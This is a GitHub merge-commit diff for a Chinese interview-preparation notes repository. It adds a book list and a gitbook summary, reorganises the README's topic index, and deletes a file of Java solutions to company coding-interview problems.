Merge pull request #1 from CyC2018/master

update
This commit is contained in:
dreamsyeah
2018-09-27 14:48:52 +08:00
committed by GitHub
186 changed files with 15607 additions and 9803 deletions

2
.gitignore vendored
View File

@ -1,2 +1,2 @@
.DS_Store
*.txt *.txt
.idea/

82
BOOKLIST.md Normal file
View File

@ -0,0 +1,82 @@
# 数据结构与算法
- [算法](https://book.douban.com/subject/19952400/)
- [数据结构与算法分析](https://book.douban.com/subject/3351237/)
- [编程珠玑](https://book.douban.com/subject/3227098/)
- [剑指 Offer](https://book.douban.com/subject/25910559/)
# 操作系统
- [现代操作系统](https://book.douban.com/subject/3852290/)
- [深入理解计算机系统](https://book.douban.com/subject/26912767/)
- [鸟哥的 Linux 私房菜](https://book.douban.com/subject/4889838/)
- [Unix 环境高级编程](https://book.douban.com/subject/25900403/)
- [Unix/Linux 编程实践教程](https://book.douban.com/subject/1219329/)
- [Operating Systems: Three Easy Pieces (OSTEP)](http://pages.cs.wisc.edu/~remzi/OSTEP/)
# 计算机网络
- [计算机网络](https://book.douban.com/subject/2970300/)
- [计算机网络 自顶向下方法](https://book.douban.com/subject/1391207/)
- [图解 HTTP](https://book.douban.com/subject/25863515/)
- [TCP/IP 详解 卷 1协议](https://book.douban.com/subject/1088054/)
- [UNIX 网络编程](https://book.douban.com/subject/1500149/)
- [Linux 多线程服务端编程](https://book.douban.com/subject/20471211/)
# 面向对象
- [Head First 设计模式](https://book.douban.com/subject/2243615/)
- [设计模式 可复用面向对象软件的基础](https://book.douban.com/subject/1052241/)
- [敏捷软件开发 原则、模式与实践](https://book.douban.com/subject/1140457/)
# 数据库
- [数据库系统概念](https://book.douban.com/subject/10548379/)
- [MySQL 必知必会](https://book.douban.com/subject/3354490/)
- [高性能 MySQL](https://book.douban.com/subject/23008813/)
- [Redis 设计与实现](https://book.douban.com/subject/25900156/)
- [Redis 实战](https://book.douban.com/subject/26612779/)
# Java
- [Java 编程思想](https://book.douban.com/subject/2130190/)
- [Effective java 中文版](https://book.douban.com/subject/3360807/)
- [深入理解 Java 虚拟机](https://book.douban.com/subject/24722612/)
- [Java 并发编程实战](https://book.douban.com/subject/10484692/)
- [精通 Spring 4.x](https://book.douban.com/subject/26952826/)
- [Spring 揭秘](https://book.douban.com/subject/3897837/)
# C++
- [C++ Primer](https://book.douban.com/subject/25708312/)
- [Effective C++](https://book.douban.com/subject/1842426/)
- [C++ 编程规范](https://book.douban.com/subject/1480481/)
- [STL 源码剖析](https://book.douban.com/subject/1110934/)
- [深度探索 C++ 对象模型](https://book.douban.com/subject/1091086/)
# 系统设计
- [大规模分布式存储系统](https://book.douban.com/subject/25723658/)
- [从 Paxos 到 Zookeeper](https://book.douban.com/subject/26292004/)
- [大型网站系统与 Java 中间件开发实践](https://book.douban.com/subject/25867042/)
- [淘宝技术这十年](https://book.douban.com/subject/24335672/)
- [深入理解 Nginx](https://book.douban.com/subject/22793675/)
# 开发工具
- [Pro Git](https://git-scm.com/book/zh/v2)
- [正则表达式必知必会](https://book.douban.com/subject/2269648/)
# 编码实践
- [重构](https://book.douban.com/subject/4262627/)
- [代码大全](https://book.douban.com/subject/1477390/)
- [人月神话](https://book.douban.com/subject/1102259/)
- [程序员的职业素养](https://book.douban.com/subject/11614538/)
- [编写可读代码的艺术](https://book.douban.com/subject/10797189/)
# 其它
- [JavaScript 语言精粹](https://book.douban.com/subject/3590768/)
- [利用 Python 进行数据分析](https://book.douban.com/subject/25779298/)
- [概率论与数理统计](https://book.douban.com/subject/2201479/)

234
README.md
View File

@ -1,179 +1,241 @@
<!-- ![](https://img.shields.io/badge/update-today-blue.svg) ![](https://img.shields.io/badge/gitbook-making-lightgrey.svg)</br> -->
| | Ⅱ | Ⅲ | Ⅳ | | Ⅵ | Ⅶ | Ⅷ | Ⅸ | | | | Ⅱ | Ⅲ | Ⅳ | | Ⅵ | Ⅶ | Ⅷ | Ⅸ | |
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:| | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
| 算法[:pencil2:](#算法-pencil2) | 操作系统[:computer:](#操作系统-computer)|网络[:cloud:](#网络-cloud) | 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) | | 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:couple:](#couple-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:hammer:](#hammer-工具)| 编码实践[:speak_no_evil:](#speak_no_evil-编码实践)| 后记[:memo:](#memo-后记) |
本仓库不参与商业行为,不向读者收取任何费用。(This repository is not engaging in business activities, and does not charge readers any fee.) <br>
</br>
## 算法 :pencil2: <div align="center">
<img src="other/LogoMakr_0zpEzN.png" width="150px">
<br>
<a href="other/Group.md"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a>
</div>
### :pencil2: 算法
> [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md) - [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
《剑指 Offer 第二版》的最优解,在牛客网在线编程中出现的题目都已 AC 目录根据原书第二版进行编排,代码和原书有所不同,尽量比原书更简洁
> [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md) - [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
对题目做了一个分类,并对每种题型的解题思路做了总结。 对题目做了一个大致分类,并对每种题型的解题思路做了总结。
- [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md)
> [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md) 排序、并查集、栈和队列、红黑树、散列表。
整理自《算法 第四版》 ### :computer: 操作系统
## 操作系统 :computer: - [计算机操作系统](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机操作系统.md)
> [计算机操作系统](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机操作系统.md) 进程管理、内存管理、设备管理、链接。
整理自《现代操作系统》和《计算机操作系统》 - [Linux](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Linux.md)
> [Linux](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Linux.md) 基本实现原理以及基本操作。
整理自《鸟哥的 Linux 私房菜》 ### :cloud: 网络
- [计算机网络](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机网络.md)
## 网络 :cloud: 物理层、链路层、网络层、运输层、应用层。
> [计算机网络](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机网络.md) - [HTTP](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/HTTP.md)
整理自《计算机网络 第七版》,重点内容会在标题后面加 \* 方法、状态码、Cookie、缓存、连接管理、HTTPs、HTTP 2.0
> [HTTP](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/HTTP.md) - [Socket](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Socket.md)
整理自《图解 HTTP》 I/O 模型、I/O 多路复用。
> [Socket](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Socket.md) ### :couple: 面向对象
整理自《Unix 网络编程》 - [设计模式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/设计模式.md)
实现了 Gof 的 23 种设计模式。
## 面向对象 :couple: - [面向对象思想](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/面向对象思想.md)
> [设计模式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/设计模式.md) 三大原则(继承、封装、多态)、类图、设计原则。
整理自《Head First 设计模式》 ### :floppy_disk: 数据库
> [面向对象思想](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/面向对象思想.md) - [数据库系统原理](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/数据库系统原理.md)
一些面向对象思想和设计原则 事务、锁、隔离级别、MVCC、间隙锁、范式
## 数据库 :floppy_disk: - [SQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/SQL.md)
> [数据库系统原理](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/数据库系统原理.md) SQL 基本语法。
整理自《数据库系统概论 第四版》 - [Leetcode-Database 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode-Database%20题解.md)
> [SQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/SQL.md) Leetcode 上数据库题目的解题记录。
整理自《SQL 必知必会》 - [MySQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/MySQL.md)
> [Leetcode-Database 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode-Database%20题解.md) 存储引擎、索引、查询优化、切分、复制。
Leetcode 上数据库题目的解题记录。 - [Redis](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Redis.md)
> [MySQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/MySQL.md) 五种数据类型、字典和跳跃表数据结构、使用场景、和 Memcache 的比较、淘汰策略、持久化、文件事件的 Reactor 模式、复制。
整理自《高性能 MySQL》 ### :coffee: Java
> [Redis](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Redis.md) - [Java 基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20基础.md)
整理自《Redis 设计与实现》和《Redis 实战》 不会涉及很多基本语法介绍,主要是一些实现原理以及关键特性。
## Java :coffee: - [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md)
> [Java 基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20基础.md) 源码分析ArrayList、Vector、CopyOnWriteArrayList、LinkedList、HashMap、ConcurrentHashMap、LinkedHashMap、WeekHashMap。
整理了一些常见考点。 - [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md)
> [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md) 线程使用方式、两种互斥同步方法、线程协作、JUC、线程安全、内存模型、锁优化。
整理自《深入理解 Java 虚拟机》 - [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md)
> [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md) 运行时数据区域、垃圾收集、类加载。
整理了一些并发的基本概念。 - [Java I/O](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md)
> [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md) NIO 的原理以及实例。
容器的一些总结,包含容器源码的分析。 ### :bulb: 系统设计
> [Java I/O](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md) - [系统设计基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/系统设计基础.md)
File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO 性能、伸缩性、扩展性、可用性、安全性
> [JDK 中的设计模式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/JDK%20中的设计模式.md) - [分布式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式.md)
对每种设计模式做了一个总结,并给出在 JDK 中的使用实例。 分布式锁、分布式事务、CAP、BASE、Paxos、Raft
## 分布式 :sweat_drops: - [集群](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/集群.md)
> [分布式基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式基础.md) 负载均衡、Session 管理
整理自《大规模分布式存储系统》 - [攻击技术](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/攻击技术.md)
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md) XSS、CSRF、SQL 注入、DDoS
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。 - [缓存](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/缓存.md)
缓存特征、缓存位置、缓存问题、数据分布、一致性哈希、LRU、CDN
## 工具 :hammer: - [消息队列](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/消息队列.md)
> [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md) 消息处理模型、使用场景、可靠性
整理一些 Git 的使用和概念。 ### :hammer: 工具
> [正则表达式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/正则表达式.md) - [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md)
整理自《正则表达式必知必会》 一些 Git 的使用和概念。
## 编码实践 :speak_no_evil: - [Docker](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Docker.md)
> [重构](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/重构.md) Docker 基本原理。
重构是对软件内部结构的一种调整,目的是在不改变软件可观察行为的前提下,提高其可理解性,降低其修改成本。 - [正则表达式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/正则表达式.md)
> [代码可读性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/代码可读性.md) 正则表达式基本语法。
编程有很大一部分时间是在阅读代码,可读性良好的代码能够大大提高编程效率。 - [构建工具](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/构建工具.md)
> [代码风格规范](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/代码风格规范.md) 构建工具的基本概念、主流构建工具介绍。
Google 开源项目的代码风格规范。 ### :speak_no_evil: 编码实践
## 后记 :memo: - [重构](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/重构.md)
**关于仓库** 参考 重构 改善既有代码的设计。
本仓库是笔者在准备 2018 年春招实习过程中的学习总结,内容以计算机书籍的学习笔记为主,在整理重点知识的同时会尽量保证知识的系统性。 - [代码可读性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/代码可读性.md)
**关于贡献** 参考 编写可读代码的艺术。
因为大部分内容是笔者一个字一个字打上去的,所以难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。 - [代码风格规范](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/代码风格规范.md)
笔者能力有限,很多内容还不够完善。如果您希望和笔者一起完善这个仓库,可以发表一个 Issue表明您想要添加的内容笔者会及时查看 Google 开源项目的代码风格规范
因为不打算将这个仓库做成一个大而全的面试宝典,只希望添加一些比较通用的基础知识,或者是与 Java 和分布式相关的内容,但是不添加 Java Web 相关的内容。 ### :memo: 后记
您也可以在 Issues 中发表关于改进本仓库的建议。 #### About
**关于上传** 本仓库主要是根据计算机经典书籍以及官方技术文档进行总结的学习笔记,希望对大家有所帮助。
学习笔记不是从网上到处拼凑而来,除了少部分引用书上和技术文档的原文,其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时,请遵循文末的开源协议,谢谢。
#### BookList
本仓库参考的书目:[BOOKLIST](https://github.com/CyC2018/Interview-Notebook/blob/master/BOOKLIST.md)。
#### How To Contribute
笔记内容是笔者一个字一个字打上去的,难免会有一些笔误,如果发现笔误可直接对相应文档进行编辑修改。
如果想要提交一个仓库现在还没有的全新内容,可以先将相应的文档放到 other 目录下。
欢迎在 Issue 中提交对本仓库的改进建议~
#### Typesetting
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版,以保证内容的可读性。
笔记不使用 `![]()` 这种方式来引用图片,而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示,另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
笔者将自己实现的文档排版功能提取出来,放在 Github Page 中,无需下载安装即可免费使用:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
#### Uploading
笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上实现了一整套自动化上传方案包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。 笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上实现了一整套自动化上传方案包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记,所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。 进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记,所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
**关于排版** 笔者将自己实现文档转换功能提取出来,方便大家在需要将本地 Markdown 上传到 Github或者制作项目 README 文档时生成目录时使用:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线排版工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。 #### Logo
不使用 `![]()` 这种方式来引用图片是为了能够控制图片以合适的大小显示。而且 GFM 不支持 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` ,所以只能使用 img 标签来引用图片。 Power by [logomakr](https://logomakr.com/).
**关于转载** #### Statement
本仓库内容使用到的资料都会在最后面的参考资料中给出引用链接,希望您在使用本仓库的内容时也能给出相应的引用链接。 本仓库不参与商业行为,不向读者收取任何费用。(This repository is not engaging in business activities, and does not charge readers any fee.)
**鸣谢** #### Acknowledgements
[TeeKee](https://github.com/linw7) 感谢以下人员对本仓库做出的贡献,当然不仅仅只有这些贡献者,这里就不一一列举了。如果你希望被添加到这个名单中,并且提交过 Issue 或者 PR请与笔者联系。
<a href="https://github.com/linw7">
<img src="https://avatars3.githubusercontent.com/u/21679154?s=400&v=4" width="50px">
</a>
<a href="https://github.com/g10guang">
<img src="https://avatars1.githubusercontent.com/u/18458140?s=400&v=4" width="50px">
</a>
<a href="https://github.com/ResolveWang">
<img src="https://avatars1.githubusercontent.com/u/8018776?s=400&v=4" width="50px">
</a>
<a href="https://github.com/crossoverJie">
<img src="https://avatars1.githubusercontent.com/u/15684156?s=400&v=4" width="50px">
</a>
<a href="https://github.com/jy03078584">
<img src="https://avatars2.githubusercontent.com/u/7719370?s=400&v=4" width="50px">
</a>
<a href="https://github.com/kwongtailau">
<img src="https://avatars0.githubusercontent.com/u/22954582?s=400&v=4" width="50px">
</a>
<a href="https://github.com/xiangflight">
<img src="https://avatars2.githubusercontent.com/u/10072416?s=400&v=4" width="50px">
</a>
<a href="https://github.com/mafulong">
<img src="https://avatars1.githubusercontent.com/u/24795000?s=400&v=4" width="50px">
</a>
#### License
在对本作品进行演绎时,请署名并以相同方式共享。
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>

49
SUMMARY.md Normal file
View File

@ -0,0 +1,49 @@
This file used to generate gitbook catalogue.
# Summary
* 算法
* [剑指 Offer 题解](/notes/剑指 offer 题解.md)
* [Leetcode 题解](/notes/Leetcode 题解.md)
* [算法](/notes/算法.md)
* 操作系统
* [计算机操作系统](/notes/计算机操作系统.md)
* [Linux](/notes/Linux.md)
* 网络
* [计算机网络](/notes/计算机网络.md)
* [HTTP](/notes/HTTP.md)
* [Socket](/notes/Socket.md)
* 面向对象
* [设计模式](/notes/设计模式.md)
* [面向对象思想](/notes/面向对象思想.md)
* 数据库
* [数据库系统原理](/notes/数据库系统原理.md)
* [SQL](/notes/SQL.md)
* [Leetcode-Database 题解](/notes/Leetcode-Database 题解.md)
* [MySQL](/notes/MySQL.md)
* [Redis](/notes/Redis.md)
* Java
* [Java 基础](/notes/Java 基础.md)
* [Java 虚拟机](/notes/Java 虚拟机.md)
* [Java 并发](/notes/Java 并发.md)
* [Java 容器](/notes/Java 容器.md)
* [Java I/O](/notes/Java IO.md)
* 系统设计
* [系统设计基础](/notes/系统设计基础.md)
* [分布式](/notes/分布式.md)
* [集群](/notes/集群.md)
* [攻击技术](/notes/攻击技术.md)
* [缓存](/notes/缓存.md)
* [消息队列](/notes/消息队列.md)
* 工具
* [Git](/notes/Git.md)
* [Docker](/notes/Docker.md)
* [正则表达式](/notes/正则表达式.md)
* [构建工具](/notes/构建工具.md)
* 编码实践
* [重构](/notes/重构.md)
* [代码可读性](/notes/代码可读性.md)
* [代码风格规范](/notes/代码风格规范.md)
* 参考书目
* [BOOKLIST](/BOOKLIST.md)

View File

@ -1,742 +0,0 @@
<!-- GFM-TOC -->
* [前言](#前言)
* [1. 小米-小米Git](#1-小米-小米git)
* [2. 小米-懂二进制](#2-小米-懂二进制)
* [3. 小米-中国牛市](#3-小米-中国牛市)
* [4. 微软-LUCKY STRING](#4-微软-lucky-string)
* [5. 微软-Numeric Keypad](#5-微软-numeric-keypad)
* [6. 微软-Spring Outing](#6-微软-spring-outing)
* [7. 微软-S-expression](#7-微软-s-expression)
* [8. 华为-最高分是多少](#8-华为-最高分是多少)
* [9. 华为-简单错误记录](#9-华为-简单错误记录)
* [10. 华为-扑克牌大小](#10-华为-扑克牌大小)
* [11. 去哪儿-二分查找](#11-去哪儿-二分查找)
* [12. 去哪儿-首个重复字符](#12-去哪儿-首个重复字符)
* [13. 去哪儿-寻找Coder](#13-去哪儿-寻找coder)
* [14. 美团-最大差值](#14-美团-最大差值)
* [15. 美团-棋子翻转](#15-美团-棋子翻转)
* [16. 美团-拜访](#16-美团-拜访)
* [17. 美团-直方图内最大矩形](#17-美团-直方图内最大矩形)
* [18. 美团-字符串计数](#18-美团-字符串计数)
* [19. 美团-平均年龄](#19-美团-平均年龄)
* [20. 百度-罪犯转移](#20-百度-罪犯转移)
* [22. 百度-裁减网格纸](#22-百度-裁减网格纸)
* [23. 百度-钓鱼比赛](#23-百度-钓鱼比赛)
* [24. 百度-蘑菇阵](#24-百度-蘑菇阵)
<!-- GFM-TOC -->
# 前言
省略的代码:
```java
import java.util.*;
```
```java
public class Solution {
}
```
```java
public class Main {
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
while (in.hasNext()) {
}
}
}
```
# 1. 小米-小米Git
- 重建多叉树
- 使用 LCA
```java
private class TreeNode {
int id;
List<TreeNode> childs = new ArrayList<>();
TreeNode(int id) {
this.id = id;
}
}
public int getSplitNode(String[] matrix, int indexA, int indexB) {
int n = matrix.length;
boolean[][] linked = new boolean[n][n]; // 重建邻接矩阵
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
linked[i][j] = matrix[i].charAt(j) == '1';
}
}
TreeNode tree = constructTree(linked, 0);
TreeNode ancestor = LCA(tree, new TreeNode(indexA), new TreeNode(indexB));
return ancestor.id;
}
private TreeNode constructTree(boolean[][] linked, int root) {
TreeNode tree = new TreeNode(root);
for (int i = 0; i < linked[root].length; i++) {
if (linked[root][i]) {
linked[i][root] = false; // 因为题目给的邻接矩阵是双向的,在这里需要把它转为单向的
tree.childs.add(constructTree(links, i));
}
}
return tree;
}
private TreeNode LCA(TreeNode root, TreeNode p, TreeNode q) {
if (root == null || root.id == p.id || root.id == q.id) return root;
TreeNode ancestor = null;
int cnt = 0;
for (int i = 0; i < root.childs.size(); i++) {
TreeNode tmp = LCA(root.childs.get(i), p, q);
if (tmp != null) {
ancestor = tmp;
cnt++;
}
}
return cnt == 2 ? root : ancestor;
}
```
# 2. 小米-懂二进制
对两个数进行异或,结果的二进制表示为 1 的那一位就是两个数不同的位。
```java
public int countBitDiff(int m, int n) {
return Integer.bitCount(m ^ n);
}
```
# 3. 小米-中国牛市
背包问题,可以设一个大小为 2 的背包。
状态转移方程如下:
```html
dp[i, j] = max(dp[i, j-1], prices[j] - prices[jj] + dp[i-1, jj]) { jj in range of [0, j-1] } = max(dp[i, j-1], prices[j] + max(dp[i-1, jj] - prices[jj]))
```
```java
public int calculateMax(int[] prices) {
int n = prices.length;
int[][] dp = new int[3][n];
for (int i = 1; i <= 2; i++) {
int localMax = dp[i - 1][0] - prices[0];
for (int j = 1; j < n; j++) {
dp[i][j] = Math.max(dp[i][j - 1], prices[j] + localMax);
localMax = Math.max(localMax, dp[i - 1][j] - prices[j]);
}
}
return dp[2][n - 1];
}
```
# 4. 微软-LUCKY STRING
- 斐波那契数列可以预计算;
- 从头到尾遍历字符串的过程,每一轮循环都使用一个 Set 来保存从 i 到 j 出现的字符,并且 Set 保证了字符都不同,因此 Set 的大小就是不同字符的个数。
```java
Set<Integer> fibSet = new HashSet<>(Arrays.asList(1, 2, 3, 5, 8, 13, 21, 34, 55, 89));
Scanner in = new Scanner(System.in);
String str = in.nextLine();
int n = str.length();
Set<String> ret = new HashSet<>();
for (int i = 0; i < n; i++) {
Set<Character> set = new HashSet<>();
for (int j = i; j < n; j++) {
set.add(str.charAt(j));
int cnt = set.size();
if (fibSet.contains(cnt)) {
ret.add(str.substring(i, j + 1));
}
}
}
String[] arr = ret.toArray(new String[ret.size()]);
Arrays.sort(arr);
for (String s : arr) {
System.out.println(s);
}
```
# 5. 微软-Numeric Keypad
```java
private static int[][] canReach = {
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0}, // 0
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, // 1
{1, 0, 1, 1, 0, 1, 1, 0, 1, 1}, // 2
{0, 0, 0, 1, 0, 0, 1, 0, 0, 1}, // 3
{1, 0, 0, 0, 1, 1, 1, 1, 1, 1}, // 4
{1, 0, 0, 0, 0, 1, 1, 0, 1, 1}, // 5
{0, 0, 0, 0, 0, 0, 1, 0, 0, 1}, // 6
{1, 0, 0, 0, 0, 0, 0, 1, 1, 1}, // 7
{1, 0, 0, 0, 0, 0, 0, 0, 1, 1}, // 8
{0, 0, 0, 0, 0, 0, 0, 0, 0, 1} // 9
};
private static boolean isLegal(char[] chars, int idx) {
if (idx >= chars.length || idx < 0) return true;
int cur = chars[idx] - '0';
int next = chars[idx + 1] - '0';
return canReach[cur][next] == 1;
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
int T = Integer.valueOf(in.nextLine());
for (int i = 0; i < T; i++) {
String line = in.nextLine();
char[] chars = line.toCharArray();
for (int j = 0; j < chars.length - 1; j++) {
while (!isLegal(chars, j)) {
if (--chars[j + 1] < '0') {
chars[j--]--;
}
for (int k = j + 2; k < chars.length; k++) {
chars[k] = '9';
}
}
}
System.out.println(new String(chars));
}
}
```
# 6. 微软-Spring Outing
下面以 N = 3K = 4 来进行讨论。
初始时,令第 0 个地方成为待定地点,也就是呆在家里。
从第 4 个地点开始投票,每个人只需要比较第 4 个地方和第 0 个地方的优先级,里,如果超过半数的人选择了第 4 个地方,那么更新第 4 个地方成为待定地点。
从后往前不断重复以上步骤,不断更新待定地点,直到所有地方都已经投票。
上面的讨论中,先令第 0 个地点成为待定地点,是因为这样的话第 4 个地点就只需要和这个地点进行比较,而不用考虑其它情况。如果最开始先令第 1 个地点成为待定地点,那么在对第 2 个地点进行投票时,每个人不仅要考虑第 2 个地点与第 1 个地点的优先级,也要考虑与其后投票地点的优先级。
```java
int N = in.nextInt();
int K = in.nextInt();
int[][] votes = new int[N][K + 1];
for (int i = 0; i < N; i++) {
for (int j = 0; j < K + 1; j++) {
int place = in.nextInt();
votes[i][place] = j;
}
}
int ret = 0;
for (int place = K; place > 0; place--) {
int cnt = 0;
for (int i = 0; i < N; i++) {
if (votes[i][place] < votes[i][ret]) {
cnt++;
}
}
if (cnt > N / 2) {
ret = place;
}
}
System.out.println(ret == 0 ? "otaku" : ret);
```
# 7. 微软-S-expression
# 8. 华为-最高分是多少
```java
int N = in.nextInt();
int M = in.nextInt();
int[] scores = new int[N];
for (int i = 0; i < N; i++) {
scores[i] = in.nextInt();
}
for (int i = 0; i < M; i++) {
String str = in.next();
if (str.equals("U")) {
int id = in.nextInt() - 1;
int newScore = in.nextInt();
scores[id] = newScore;
} else {
int idBegin = in.nextInt() - 1;
int idEnd = in.nextInt() - 1;
int ret = 0;
if (idBegin > idEnd) {
int t = idBegin;
idBegin = idEnd;
idEnd = t;
}
for (int j = idBegin; j <= idEnd; j++) {
ret = Math.max(ret, scores[j]);
}
System.out.println(ret);
}
}
```
# 9. 华为-简单错误记录
```java
HashMap<String, Integer> map = new LinkedHashMap<>();
while (in.hasNextLine()) {
String s = in.nextLine();
String key = s.substring(s.lastIndexOf('\\') + 1);
map.put(key, map.containsKey(key) ? map.get(key) + 1 : 1);
}
List<Map.Entry<String, Integer>> list = new LinkedList<>(map.entrySet());
Collections.sort(list, (o1, o2) -> o2.getValue() - o1.getValue());
for (int i = 0; i < 8 && i < list.size(); i++) {
String[] token = list.get(i).getKey().split(" ");
String filename = token[0];
String line = token[1];
if (filename.length() > 16) filename = filename.substring(filename.length() - 16);
System.out.println(filename + " " + line + " " + list.get(i).getValue());
}
```
# 10. 华为-扑克牌大小
```java
public class Main {
private Map<String, Integer> map = new HashMap<>();
public Main() {
map.put("3", 0);
map.put("4", 1);
map.put("5", 2);
map.put("6", 3);
map.put("7", 4);
map.put("8", 5);
map.put("9", 6);
map.put("10", 7);
map.put("J", 8);
map.put("Q", 9);
map.put("K", 10);
map.put("A", 11);
map.put("2", 12);
map.put("joker", 13);
map.put("JOKER ", 14);
}
private String play(String s1, String s2) {
